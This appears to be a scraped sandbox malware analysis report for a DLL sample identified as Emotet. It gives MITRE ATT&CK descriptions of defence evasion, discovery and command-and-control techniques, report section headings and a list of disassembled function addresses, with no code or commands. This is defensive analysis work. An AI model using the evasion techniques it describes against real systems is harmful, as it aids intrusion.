Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DVvzRulsoR.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
DVvzRulsoR.dll

Function 00007FFE354F3FB0 Relevance: 2283.0, APIs: 11, Strings: 1292, Instructions: 2747
COMMONCrypto

Function 0000027280130000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Function 0000000180004DDC Relevance: 7.8, Strings: 6, Instructions: 338
COMMON

Function 0000000180028C94 Relevance: 6.5, Strings: 5, Instructions: 249
COMMON

Function 0000000180005DB4 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Function 00000001800248E0 Relevance: 5.9, Strings: 4, Instructions: 869
COMMON

Function 00007FFE354E4194 Relevance: 18.1, APIs: 12, Instructions: 133
COMMON

Function 00007FFE354E1580 Relevance: 10.6, APIs: 7, Instructions: 78
COMMON